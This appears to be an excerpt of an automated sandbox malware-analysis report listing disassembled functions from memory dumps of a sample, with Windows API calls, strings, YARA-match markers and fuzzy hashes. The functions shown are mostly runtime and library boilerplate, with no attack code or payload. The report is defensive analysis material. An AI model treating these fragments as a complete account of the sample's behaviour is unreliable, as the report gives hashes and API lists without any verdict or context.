Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 578763765f9fc8566c9495fa1d5a428746aebeb8fb0c5daef46d5a8d52c84602
Instruction ID: f50ff6ed31935d374f0f654db4034b012da08d7b86791a5e4fe0d61d64b66849
Opcode Fuzzy Hash: 578763765f9fc8566c9495fa1d5a428746aebeb8fb0c5daef46d5a8d52c84602
Instruction Fuzzy Hash:

Function 021C9DDE Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

J, xrefs: 021C9E77

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: J
API String ID: 0-2715717022
Opcode ID: 9b2aa766b6f360a6032440e5340912928a874ebab550b6d52b42b550c637d21c
Instruction ID: b2e0b935167b1fafb2987675b49aa54d4ca6d6a52bac6b582cabc2a3e2fa18a8
Opcode Fuzzy Hash: 9b2aa766b6f360a6032440e5340912928a874ebab550b6d52b42b550c637d21c
Instruction Fuzzy Hash: A661EF76A483019FC718DF68C984A2FB7E2BBD4354F24892CF495AB290D774D909CB83

Function 02261C70 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

,, xrefs: 02261D57

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-48859977
Opcode ID: 05cd4833b57480e6658f2eda0df086b86299641aa674d3f54235dc78241d0a24
Instruction ID: 7187b7afdd339539ddbf8d0d93e107001e1b3647a449b6bfa7efb2d918c9b49a
Opcode Fuzzy Hash: 05cd4833b57480e6658f2eda0df086b86299641aa674d3f54235dc78241d0a24
Instruction Fuzzy Hash: 6F416D76A083069FC758EFA8E45812AB7E2AFC4314F00CD2DE4D687254EB7499158F82

Function 021C380E Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

,, xrefs: 021C38F5

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-48859977
Opcode ID: f7fa7f053b15b3b9bc5260059ed6039f3f15b89ed0c9b9de4249ee0e0695fea7
Instruction ID: d42f9b19fcb6303a803e1255991ebc5012a589cb5b545adcc1df40b218eacb7b
Opcode Fuzzy Hash: f7fa7f053b15b3b9bc5260059ed6039f3f15b89ed0c9b9de4249ee0e0695fea7
Instruction Fuzzy Hash: 5E418B74A093029FC758EFA9D85412AB7E2BFD0314F00C92DE4D697260EB78D9098F82

Function 021C095E Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction ID: 95098c659b7b316fb844f3011324dda32821350ec32ec3ff75f46a658c7ca03a
Opcode Fuzzy Hash: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction Fuzzy Hash: 2FF1F5B8A41209EFDB04CF94C990BAEB7B5BF5C304F208598E916AB345D775EA41CF90

Function 021C0456 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: 9802b7dcc1a5b64f98980c37fdcbdc93eb48ff07e91f4580621f6d11f12c18d0
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: A5318F7AA4474ACFC710DF18C48092BB7E4FF99318F1609ADE99587312D734E946CB91

Function 0040E658 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd0e825c18cab67390afa4095cd2c0ef4cc4a4a1ddd955d0601115f156ff26c
Instruction ID: ab5976e4691acd30db67047bee70cfeddbfbf72eaf8120044587c8c4a2e010f3
Opcode Fuzzy Hash: 7cd0e825c18cab67390afa4095cd2c0ef4cc4a4a1ddd955d0601115f156ff26c
Instruction Fuzzy Hash: DF21B8729002049BCB10EF6AC8C0967BBA5FF84350B4689ADDD559B286E734F925C7E0

Function 02264E20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 021C69BE Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 0042A305 Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 44registrywindowCOMMON

Download Yara Rule

APIs

RegisterWindowMessageA.USER32(Native), ref: 0042A314
RegisterWindowMessageA.USER32(OwnerLink), ref: 0042A31D
RegisterWindowMessageA.USER32(ObjectLink), ref: 0042A327
RegisterWindowMessageA.USER32(Embedded Object), ref: 0042A331
RegisterWindowMessageA.USER32(Embed Source), ref: 0042A33B
RegisterWindowMessageA.USER32(Link Source), ref: 0042A345
RegisterWindowMessageA.USER32(Object Descriptor), ref: 0042A34F
RegisterWindowMessageA.USER32(Link Source Descriptor), ref: 0042A359
RegisterWindowMessageA.USER32(FileName), ref: 0042A363
RegisterWindowMessageA.USER32(FileNameW), ref: 0042A36D
RegisterWindowMessageA.USER32(Rich Text Format), ref: 0042A377
RegisterWindowMessageA.USER32(RichEdit Text and Objects), ref: 0042A381

Strings

OwnerLink, xrefs: 0042A316
Embed Source, xrefs: 0042A333
ObjectLink, xrefs: 0042A31F
Rich Text Format, xrefs: 0042A36F
RichEdit Text and Objects, xrefs: 0042A379
FileName, xrefs: 0042A35B
Embedded Object, xrefs: 0042A329
Native, xrefs: 0042A30D
Link Source Descriptor, xrefs: 0042A351
Link Source, xrefs: 0042A33D
Object Descriptor, xrefs: 0042A347
FileNameW, xrefs: 0042A365

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MessageRegisterWindow
String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
API String ID: 1814269913-2889995556
Opcode ID: b09424a890d9c2d964cd6ab38d7185a386422683ead705cd42c27e26f868f6a1
Instruction ID: fc5418e7bedd38ffc0e11e4f4bc2214e5acc9818e2d4631a821a168c411807f2
Opcode Fuzzy Hash: b09424a890d9c2d964cd6ab38d7185a386422683ead705cd42c27e26f868f6a1
Instruction Fuzzy Hash: 8E018C70A407845ACB30BFB69C09D4BBEE0EEC9B107615E6FE495A7660D6BCD001CF48

Function 00427FF6 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 167registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00428019
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00428024
ConvertDefaultLocale.KERNEL32(?), ref: 00428055
ConvertDefaultLocale.KERNEL32(?), ref: 0042805D
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 0042806A
ConvertDefaultLocale.KERNEL32(?), ref: 00428084
ConvertDefaultLocale.KERNEL32(000003FF), ref: 0042808A
GetVersion.KERNEL32 ref: 00428098
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 004280BD
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 004280E3
ConvertDefaultLocale.KERNEL32(?), ref: 0042812F
ConvertDefaultLocale.KERNEL32(76230A60), ref: 00428135
RegCloseKey.ADVAPI32(?), ref: 00428140

Strings

GetUserDefaultUILanguage, xrefs: 0042801B
ntdll.dll, xrefs: 00428148
kernel32.dll, xrefs: 0042800C
GetSystemDefaultUILanguage, xrefs: 0042805F
Control Panel\Desktop\ResourceLocale, xrefs: 004280B0

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ConvertDefaultLocale$AddressProc$CloseHandleModuleOpenQueryValueVersion
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 780041395-483790700
Opcode ID: 978b5882cf4835e7424ef31a4d6838547d496389b0aa7b075c70622b72c37f28
Instruction ID: 2dc31b13f6de58c0e78e48cd1bee0818dccec789095d0f28fd6a06ab5592f720
Opcode Fuzzy Hash: 978b5882cf4835e7424ef31a4d6838547d496389b0aa7b075c70622b72c37f28
Instruction Fuzzy Hash: A5514B71F40229AFDF109FE6DC85ABEBAB8EB48354F54043BF501E3290DA7C59419B68

Function 00422E50 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 167stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CA6: __EH_prolog.LIBCMT ref: 00429CAB

CallNextHookEx.USER32(?,00000003,?,?), ref: 00422E85
GetClassLongA.USER32(?,000000E6), ref: 00422ECA
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 00422EF6
lstrcmpiA.KERNEL32(?,ime), ref: 00422F05
SetWindowLongA.USER32(?,000000FC,Function_0002242E), ref: 00422F3F
CallNextHookEx.USER32(?,00000003,?,?), ref: 00423043
UnhookWindowsHookEx.USER32(?), ref: 00423054

Strings

AfxOldWndProc423, xrefs: 00422FFA, 00422FFF, 0042300C, 00423016, 00423021
#32768, xrefs: 00422F80, 00422F85, 00422FD1
ime, xrefs: 00422EFF

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Hook$CallLongNext$AtomClassGlobalH_prologNameUnhookWindowWindowslstrcmpi
String ID: #32768$AfxOldWndProc423$ime
API String ID: 3204395069-4034971020
Opcode ID: 2e54a2d68c0ca1e145083fe81b64065eb11ebc909a731c844331e9d10c2e6431
Instruction ID: a72a045e4e3713aab608079d00397e783e2f759094d70b61f3d5639fb80dd1df
Opcode Fuzzy Hash: 2e54a2d68c0ca1e145083fe81b64065eb11ebc909a731c844331e9d10c2e6431
Instruction Fuzzy Hash: 6951C331700124BBDF219F61ED48B9E7BB4AF18361F908166F814A62A1C778DE45DBAC

Function 00404FF2 Relevance: 29.8, APIs: 8, Strings: 9, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,00405143), ref: 0040501B
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00405037
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00405048
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00405059
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0040506A
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0040507B
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0040508C
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 0040509D

Strings

EnumDisplayMonitors, xrefs: 00405075
GetSystemMetrics, xrefs: 00405031
GetMonitorInfoA, xrefs: 00405086
USER32, xrefs: 00405011
`#vp,$v, xrefs: 0040501B
MonitorFromWindow, xrefs: 00405042
MonitorFromRect, xrefs: 00405053
MonitorFromPoint, xrefs: 00405064
EnumDisplayDevicesA, xrefs: 00405097

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32$`#vp,$v
API String ID: 667068680-2614843311
Opcode ID: 5547913a3e14e16a07a1123cd0d9303ef4187e5ce9ad497fcc0af7a3a5c74f0c
Instruction ID: a51757c319cfb8603869d02164866bf9d90346e9d9b4ab7557ddca89ad350173
Opcode Fuzzy Hash: 5547913a3e14e16a07a1123cd0d9303ef4187e5ce9ad497fcc0af7a3a5c74f0c
Instruction Fuzzy Hash: AD215E74A026179AE321AF27BDC452EBAF4F6487403E4543FD404E22D0D73954868F9E

Function 00412421 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 115fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 004124A2
_strcat.LIBCMT ref: 004124B5
_strlen.LIBCMT ref: 004124C2
_strlen.LIBCMT ref: 004124D1
_strncpy.LIBCMT ref: 004124E8
_strlen.LIBCMT ref: 004124F1
_strlen.LIBCMT ref: 004124FE
_strcat.LIBCMT ref: 0041251C
_strlen.LIBCMT ref: 00412564
GetStdHandle.KERNEL32(000000F4,00431F70,00000000,?,00000000,00000000,00000000,00000000), ref: 0041256F
WriteFile.KERNEL32(00000000), ref: 00412576

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00412544
..., xrefs: 004124E2
<program name unknown>, xrefs: 004124AF
Runtime Error!Program: , xrefs: 00412516

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3601721357-4022980321
Opcode ID: 33eba8a56c94104930c01ea856345e6cd8f8d6e67629feebce46de6d582aadf8
Instruction ID: 13021548b91ef27835def0d839a72f5b902c9013898fcf24966e2a0fbd176725
Opcode Fuzzy Hash: 33eba8a56c94104930c01ea856345e6cd8f8d6e67629feebce46de6d582aadf8
Instruction Fuzzy Hash: 1B317B72640114ABDB24ABB9DCC1FEB3369EB44318F10082FF555E3192DE7CA4A5872C

Function 00412E75 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,004321C0,00000118,0040EA00,00000001,00000000,00431A80,00000008,0041258D,00000000,00000000,00000000), ref: 00412EF6
_strcat.LIBCMT ref: 00412F0C
_strlen.LIBCMT ref: 00412F1C
_strlen.LIBCMT ref: 00412F2D
_strncpy.LIBCMT ref: 00412F47
_strlen.LIBCMT ref: 00412F50
_strcat.LIBCMT ref: 00412F6C

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00412FA7
..., xrefs: 00412F41
Buffer overrun detected!, xrefs: 00412ED2, 00412F6A
Program: , xrefs: 00412F7D
<program name unknown>, xrefs: 00412F00
Unknown security failure detected!, xrefs: 00412EBC
( C, xrefs: 00412ED7

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strlen$_strcat$FileModuleName_strncpy
String ID: ( C$...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!
API String ID: 3058806289-1906809315
Opcode ID: 54b1497dfd563ac8debf3ed2c16c48730149fe1c51b89dfeef04513612d6689f
Instruction ID: dc0b60b2e2fa07aa48be410cc1825f31972f92912820f319277543dbe6ba90b6
Opcode Fuzzy Hash: 54b1497dfd563ac8debf3ed2c16c48730149fe1c51b89dfeef04513612d6689f
Instruction Fuzzy Hash: 2931EC719012146BDB11AB61AD82ECE3668DF0A324F10046FF114F72D2DBBCDA954BAD

Function 00411F5D Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,76230A60,00000000,0040E8F2,?,00431A70,00000060), ref: 00411F75
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00411F8D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00411F9A
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00411FA7
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00411FB4
FlsAlloc.KERNEL32(00411E16,?,00431A70,00000060), ref: 00411FF1
FlsSetValue.KERNEL32(00000000,?,00431A70,00000060), ref: 0041201E
GetCurrentThreadId.KERNEL32 ref: 00412032

Part of subcall function 00411D88: FlsFree.KERNEL32(00000006,00412047,?,00431A70,00000060), ref: 00411D93

Strings

FlsSetValue, xrefs: 00411F9C
FlsAlloc, xrefs: 00411F87
FlsFree, xrefs: 00411FA9
FlsGetValue, xrefs: 00411F8F
kernel32.dll, xrefs: 00411F70
`#vp,$v, xrefs: 00411F75

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressProc$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$`#vp,$v$kernel32.dll
API String ID: 2355849793-3083462466
Opcode ID: 87445edb743fa6b159021db6ff6499874027bb5d5b45ed15fee1da4cd6f863fa
Instruction ID: 94756841155c4855af9acbccb37cf424809e5c19bd57a04feacf727f30d0ec92
Opcode Fuzzy Hash: 87445edb743fa6b159021db6ff6499874027bb5d5b45ed15fee1da4cd6f863fa
Instruction Fuzzy Hash: 8E219270E01B109BD7209F36AC0AE567EE4EB94761710523BF400C22B0EB789887CF5C

Function 0040D23B Relevance: 22.9, APIs: 15, Instructions: 359windowkeyboardCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D240
GetFocus.USER32 ref: 0040D269
GetParent.USER32(?), ref: 0040D2BE
GetParent.USER32(?), ref: 0040D2CE
GetKeyState.USER32(00000012), ref: 0040D386
IsDialogMessageA.USER32(?,?,?,?,?,00000000), ref: 0040D435
GetFocus.USER32 ref: 0040D447
GetFocus.USER32 ref: 0040D454

Part of subcall function 004043DD: GetNextDlgTabItem.USER32(?,?,?), ref: 004043F0

IsWindow.USER32(?), ref: 0040D46C
GetFocus.USER32 ref: 0040D478
IsWindow.USER32(?), ref: 0040D48E
GetFocus.USER32 ref: 0040D494
GetKeyState.USER32(00000010), ref: 0040D4C5
MessageBeep.USER32(00000000), ref: 0040D5BC
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0040D6A3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Focus$Message$ParentStateWindow$BeepDialogH_prologItemNextSend
String ID:
API String ID: 2999224188-0
Opcode ID: 3f0161c52a8131cff4d874affb24284938a97bd9b6013c2c61ed968d9b0ac3a0
Instruction ID: 35367725a961e0762c2cabb331062711e07683ca912c259f6d9a903d8a3fc05f
Opcode Fuzzy Hash: 3f0161c52a8131cff4d874affb24284938a97bd9b6013c2c61ed968d9b0ac3a0
Instruction Fuzzy Hash: 07C19030E002159BDF20AFA5C885ABFBBB5AF54354F54443BE805B72D1C73DAC89CA5A

Function 00416BA3 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,00431FC0,?,?), ref: 00416BBB
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00416BD7
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00416BE8
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00416BF5
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00416C0B
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00416C1C

Strings

GetProcessWindowStation, xrefs: 00416C16
GetUserObjectInformationA, xrefs: 00416C05
user32.dll, xrefs: 00416BB6
GetActiveWindow, xrefs: 00416BE2
GetLastActivePopup, xrefs: 00416BEA
MessageBoxA, xrefs: 00416BD1

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

